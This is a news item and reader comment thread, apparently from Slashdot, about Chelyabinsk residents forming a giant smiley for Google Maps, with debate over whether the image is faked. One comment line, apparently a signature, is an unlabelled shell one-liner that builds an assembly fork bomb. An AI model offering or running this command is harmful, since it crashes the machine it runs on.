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Russian Town Puts Giant Smiley On Google Maps
Toramir writes "Citizens of the Russian town Chelyabinsk calculated when the satellite, QuickBird, which takes images for Google Earth and Google Maps, would cross above their city and used people to make a giant smiley face. A rock concert on the main square attracted many people and everyone got a yellow cape. It looks like someone at Google was quicker than usual to put up the new data. Maybe Google likes the idea of an entire town working hard to get its 15 minutes of fame. The article has a screenshot of Google Maps and images taken directly at the event."
City on Google Maps
Screenshot from summary
Now, look at the vehicles on the street next to the smiley. On the south-west road, there are two cars next to each, same on both pictures. The cars also look the same on the north road, east of the smiley, and the road leading west. Looks like someone just cleared the street and added the smiley in.
Just to be sure, here is the link to the German Google Maps, which the screen shot appears to be coming from. I think it's a mock-up for when Google does update their images.
-rey
To be fair, since the other pictures look authentic, I'd say the meeting really happened. It's just that Google wasn't fast enough to record it. That shows you a limitation of Google :-) There are still a few things you can do without Google noticing right away.
Alain - fairsoftware.net
Never mind the fact that they say they timed when the satellite would come over, but it's an aerial photo.
Also, they did a similar thing on James May's 20th Century, where he made a giant space invader to be captured on a satellite image.
I had hoped idle would stay confined to idle. This is not technology.
This ... is ... IDLE!!! </300>
Nice try, though.
Sometimes boldness is in fashion. Sometimes only the brave will be bold.
Read about "ad hominem argument" in a dictionary. How is it relevant what I am?
"It is our choices, Harry, that show what we truly are, far more than our abilities." -- Prof. Dumbledore
correction: it's a good photoshop, because it fooled us enough to dig deeper. i think they succeeded in their prank marvelously.
Right... and Communism is good but it was badly implemented *rolls eyes*
Well... Yeah...
Similarly, one can say democracy is good yet most African nations implement it rather wrongly.
Read about "ad hominem argument" in a dictionary. How is it relevant what I am?
Because you're stupid.
Perhaps you've forgotten that the purpose of news isn't to inform, it's to coerce opinion.
Requiem for the American Dream
No, the purpose of a TV channel is to sell adverts, make the journalists feel important and not tell the viewers anything that might upset their world view. It's actually quite the opposite of trying to coerce opinion, I actually think there's an element of karma whoring going on.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Someone probably felt that Chelyabinsk could use some positive publicity for a change, as they have so far only been known as the "Most Contaminated Spot on the Planet": http://www.logtv.com/films/chelyabinsk/
...which is why I'm graciously refraining from posting that link...now why do I suddenly get Boy George singing Karma Chameleon in my poor skull?
Maybe Google likes the idea of an entire town working hard to get its 15 minutes of fame
goddamn everything doesnt need to be negative, you know. maybe someone thought it was something fuckin' nice to happen, and people to see ?
i like our culture, but this 'sarcastic pessimistic know-it-all zit' thing sometimes fails badly. gets tiring.
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